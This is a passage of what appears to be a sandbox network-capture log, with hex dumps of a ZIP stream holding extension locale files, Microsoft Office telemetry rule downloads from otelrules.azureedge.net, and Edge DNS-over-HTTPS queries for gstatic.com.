2024-11-22 13:43:50 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-22 13:43:50 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-22 13:43:50 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-22 13:43:50 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-22 13:43:50 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-22 13:43:50 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-22 13:43:50 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-22 13:43:50 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-22 13:43:50 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:50 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: f3939d66-c01e-00ad-3d3c-3ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134351Z-178bfbc474bfw4gbhC1NYCunf4000000033g0000000062fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:50 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134351Z-174c587ffdfcb7qhhC1TEB3x7000000001kg00000000bdrr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:51 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:50 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134351Z-178bfbc474bwlrhlhC1NYCy3kg000000031g00000000b8v9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:50 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134351Z-178bfbc474bbbqrhhC1NYCvw74000000037g0000000088d2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:51 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:50 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134351Z-178bfbc474b9xljthC1NYCtw9400000002wg00000000fxpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:51 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49866	162.159.61.3	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 13:43:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 13:43:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6959d4ddbe7c81-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 13:43:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 17 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49856	162.159.61.3	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 13:43:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 13:43:52 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6959d52c79188d-EWR alt-svc: h3=":443"; ma=86400
